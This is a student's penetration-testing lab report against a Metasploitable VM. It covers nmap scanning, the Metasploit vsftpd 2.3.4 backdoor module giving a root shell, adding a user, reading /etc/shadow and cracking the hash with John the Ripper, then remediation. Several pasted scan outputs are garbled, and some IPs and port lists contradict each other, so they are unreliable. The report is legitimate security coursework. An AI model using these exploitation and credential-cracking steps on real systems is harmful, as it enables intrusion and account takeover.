Network Penetration Testing with Real-World Exploits and Security Remediation

Name: Rohitaksh Nag

ERP: 6604723

Course: B.Tech CSE (Cybersecurity)

Semester: 4th

Section: CY4A

Date: 18/05/2025

Project objectives

Introduction:

This project is based on performing penetration testing in a controlled lab environment to simulate attacks that hackers may use to exploit real systems. Using Kali Linux as the attack platform and Metasploitable as the vulnerable target system, I explore various stages of ethical hacking including scanning, enumeration, exploitation, privilege escalation, and remediation. The purpose is to gain hands-on experience in identifying, exploiting, and mitigating vulnerabilities responsibly.

Theory about the project:

Network penetration testing is the process of evaluating a system's network security by simulating attacks from malicious outsiders and insiders. The goal is to find security loopholes before attackers do. It includes multiple phases:

- Reconnaissance: Gathering information about the target
- Scanning & Enumeration: Actively probing to find open ports, services, and vulnerabilities.
- Exploitation: Gaining unauthorized access using known exploits.
- Post-Exploitation: Activities like privilege escalation or data access.
- Remediation: Providing security measures to patch vulnerabilities.

Project requirements

Two Operating System

- 1. Kali Linux (Attacking machine)
- 2. Metasploitable machine (Target Machine)

Tools Details

| Kali Linux | The attacker machine, containing pre-installed |
|----------------------|--|
| | penetration testing tools. |
| Metasploitable | A vulnerable machine to practice attacks on. |
| nmap | For network scanning, port discovery, OS |
| | detection, and service version enumeration. |
| Metasploit Framework | For exploiting known vulnerabilities in services |
| | running on the target. |
| John the Ripper | For cracking hashed passwords obtained from |
| | /etc/shadow. |

Tasks

Network Scanning

Task 1: Basic Network Scan

nmap -v 192.168.217.128

Ouput of the Scan

```
Nmap scan report for 192.168.217.1
Host is up (0.00040s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE
3306/tcp open mysql
6881/tcp open bittorrent-tracker
MAC Address: 00:50:56:C0:00:01 (VMware)

Nmap scan report for 192.168.217.129
Host is up (0.0010s latency).
Not shown: 977 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
23/tcp open domain
80/tcp open domain
80/tcp open http
111/tcp open retbios-ssn
445/tcp open netbios-ssn
445/tcp open login
514/tcp open shell
1099/tcp open riregistry
1524/tcp open singreslock
2049/tcp open miregistry
1524/tcp open ingreslock
2049/tcp open mysql
3306/tcp open mysql
5432/tcp open mysql
5432/tcp open stgresql
5900/tcp open ync
6000/tcp open x11
6667/tcp open irc
8009/tcp open unknown
MAC Address: 00:00:29:96:19:C9 (VMware)

Nmap scan report for 192.168.217.254
Host is up (0.00028s latency).
All 1000 scanned ports on 192.168.217.254 are in ignored states.
Not shown: 1000 filtered tcp ports (no-response)
MAC Address: 00:50:56:FA:A7:F1 (VMware)
```

Task 2 - Reconnaissance

Task 1: Scanning for hidden Ports

Output

```
Discovered open port 37946/tcp on 192.168.217.129

Discovered open port 1524/tcp on 192.168.217.129

Completed SYN Stealth Scan at 15:49, 6.85s elapsed (65535 total ports)

Nmap scan report for 192.168.217.129

Host is up (0.0032s latency).

Not shown: 65505 closed tcp ports (reset)

PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

25/tcp open mtp

53/tcp open metbios-ssn

445/tcp open metbios-ssn

445/tcp open microsoft-ds

512/tcp open shell

1099/tcp open miregistry

1524/tcp open shell

1099/tcp open mfs

2121/tcp open ccproxy-ftp

3306/tcp open mfs

2121/tcp open sistcd

5432/tcp open sistcd

5432/tcp open sistcd

5432/tcp open mssql

3306/tcp open mssql

3632/tcp open mssql

3632/tcp open mssql

3632/tcp open mssql

37946/tcp open ircs-u

8009/tcp open ircs-u

8009/tcp open unknown

46004/tcp open unknown

46004/tcp open unknown

46004/tcp open unknown

MAC Address: 00:0C:29:96:19:C9 (VMware)

Read data files from: /usr/share/nmap

Nmap done: 1 IP address (1 host up) scanned in 20.16 seconds

Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.622MB)
```

Total Hidden Ports = 7

List of hidden ports

- 1. 3632
- 2. 37946
- 3. 39564
- 4. 46004
- 5. 47693
- 6. 6697
- 7. 8787

Task 2: Service Version Detection

nmap -v -sV 192.168.217.129

Output

```
STATE SERVICE
21/tcp
         open ftp
                            vsftpd 2.3.4
22/tcp
                           OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
         open
               ssh
23/tcp
         open telnet
                           Linux telnetd
         open
               smtp
                           Postfix smtpd
53/tcp
         open domain
                           ISC BIND 9.4.2
80/tcp
                            Apache httpd 2.2.8 ((Ubuntu) DAV/2)
         open
               http
111/tcp open rpcbind
                          2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp open exec
                           netkit-rsh rexecd
513/tcp open login?
514/tcp open shell
                           Netkit rshd
1099/tcp open
               java-rmi
                           GNU Classpath grmiregistry
1524/tcp open bindshell Metasploitable root shell
                            2-4 (RPC #100003)
2049/tcp open nfs
                            ProFTPD 1.3.1
2121/tcp open ftp
                           MySQL 5.0.51a-3ubuntu5
3306/tcp open mysql
               postgresql PostgreSQL DB 8.3.0 - 8.3.7
5432/tcp open
5900/tcp open vnc
                           VNC (protocol 3.3)
6000/tcp open
                            (access denied)
6667/tcp open irc
                            UnrealIRCd
3009/tcp open ajp13
                            Apache Jserv (Protocol v1.3)
8180/tcp open unknown
MAC Address: 00:0C:29:96:19:C9 (VMware)
```

Task 3: Operating System Detection

nmap -v -O 192.168.217.129

Output

```
Nmap scan report for 192.168.217.129
Host is up (0.0012s latency).
Not shown: 977 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp
           open ftp
22/tcp
23/tcp
25/tcp
           open ssh
           open telnet
           open smtp
53/tcp
                   domain
           open
 80/tcp
           open
111/tcp open
139/tcp open
                   rpcbind
           open
                   netbios-ssn
 445/tcp
           open microsoft-ds
512/tcp open exec
513/tcp open login
514/tcp open shell
1099/tcp open
                   rmiregistry
1524/tcp open
                   ingreslock
2049/tcp open nfs
2121/tcp open
                   ccproxy-ftp
3306/tcp open
                   mysql
 5432/tcp open
                  postgresql
5900/tcp open
6000/tcp open X11
6667/tcp open irc
8009/tcp open ajp13
8180/tcp open unknown
MAC Address: 00:0C:29:96:19:C9 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Uptime guess: 0.289 days (since Sun May 18 04:00:02 2025)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=203 (Good luck!)
IP ID Sequence Generation: All zeros
```

Task 3 - Enumeration

Target IP Address 192.168.217.129

Operating System Details

MAC Address: 00:0C:29:AB:A7:B8 (VMware)

Device type: general purpose

Running: Linux 2.6.X OS

CPE: cpe:/o:linux:linux_kernel:2.6

OS details: Linux 2.6.9 - 2.6.33

Services Version with open ports (LIST ALL THE OPEN PORTS EXCLUDING HIDDEN PORTS)

| PORT | STATE | SERVICE | VERSION |
|----------|-------|-------------|--|
| 21/tcp | open | ftp | vsftpd 2.3.4 |
| 22/tcp | open | ssh | OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) |
| 23/tcp | open | telnet | Linux telnetd |
| 25/tcp | open | smtp | Postfix smtpd |
| 53/tcp | open | domain | ISC BIND 9.4.2 |
| 80/tcp | open | http | Apache httpd 2.2.8 ((Ubuntu) DAV/2) |
| 111/tcp | open | rpcbind | 2 (RPC #100000) |
| 139/tcp | open | netbios-ssn | Samba smbd 3.X - 4.X (workgroup: WORKGROUP) |
| 445/tcp | open | netbios-ssn | Samba smbd 3.X - 4.X (workgroup: WORKGROUP) |
| 512/tcp | open | exec | netkit-rsh rexecd |
| 513/tcp | open | login? | Netkit rshd |
| 514/tcp | open | shell | Netkit rshd |
| 1099/tcp | open | java-rmi | GNU Classpath grmiregistry |
| 1524/tcp | open | bindshell | Metasploitable root shell |
| 2049/tcp | open | nfs | 2-4 (RPC #100003) |
| 2121/tcp | open | ftp | ProFTPD 1.3.1 |
| 3306/tcp | open | mysql | MySQL 5.0.51a-3ubuntu5 |
| 5432/tcp | open | postgresql | PostgreSQL DB 8.3.0 - 8.3.7 |
| 5900/tcp | open | vnc | VNC (protocol 3.3) |
| 6000/tcp | open | X11 | (access denied) |
| 6667/tcp | open | irc | UnrealIRCd |

| 8009/tcp | open | ajp13 | Apache Jserv (Protocol v1.3) |
|----------|------|---------|------------------------------|
| 8180/tcp | open | unknown | |

Hidden Ports with Service Versions (ONLY HIDDEN PORTS)

```
8787/tcp open drb Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)
47436/tcp open mountd 1-3 (RPC #100005)
50918/tcp open java-rmi GNU Classpath grmiregistry
59995/tcp open nlockmgr 1-4 (RPC #100021)
60004/tcp open status 1 (RPC #100024)
```

Task 4- Exploitation of services

- 1. vsftpd 2.3.4 (Port 21 FTP)
 - > msfconsole
 - use exploit/unix/ftp/vsftpd_234_backdoor
 - > set RHOST 192.168.160.131
 - > set RPORT 21
 - Run

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 192.168.217.129:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.217.129:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 192.168.217.129:21 - The port used by the backdoor bind listener is alrea dy open
[+] 192.168.217.129:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.217.128:42417 → 192.168.217.129:6200) at 2025-05-17 16:18:50 -0400
```

Task 5 - Create user with root permission

- adduser happy
- password HELLO
- cat /etc/passwd
- happy:x:1004:1004:happy,,,:/home/happy:/bin/bash
- > cat /etc/shadow
- happy:\$1\$ymqLDVYP\$wc.rYahNle3Koc2FPHZJe0:20226:0:99999:7:::

Task 6 - Cracking password hashes

nano happy_hash.txt

john happy_hash.txt

```
(kali⊕kali)-
  $ john happy_hash.txt
Warning: detected hash type "md5crypt", but the string is also recognized as
"md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type i
nstead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AV
X2 8×3])
Will run 4 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
HELLO (happy)
1g 0:00:00:00 DONE 2/3 (2025-05-18 08:52) 11.11g/s 283422p/s 283422c/s 283422
C/s 1xanth..MATT
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

john happy_hash.txt -show

```
(kali@ kali)-[~]
$ john happy_hash.txt -- show
happy:HELLO

1 password hash cracked, 0 left
```

Task 7 - Remediation

Vulnerability: vsftpd 2.3.4

Current Version on System:** vsftpd 2.3.4

Known Vulnerability: Backdoor command shell

Latest Version: vsftpd 3.0.5

Remediation:

Upgrade to the latest version using:

bash

sudo apt update && sudo apt install vsftpd

- Disable anonymous login
- Use SFTP or SCP instead of FTP

References:

- https://www.vsftpd.org

Major Learning From this project

Through this project, I learned to manage Linux users and understand how passwords are stored and cracked using tools like John the Ripper. I used Nmap commands to scan for open ports, detect running services, and identify

operating systems. The project helped me identify system vulnerabilities and software updates and better configurations. Overall, it improved my practical understanding of system and network security.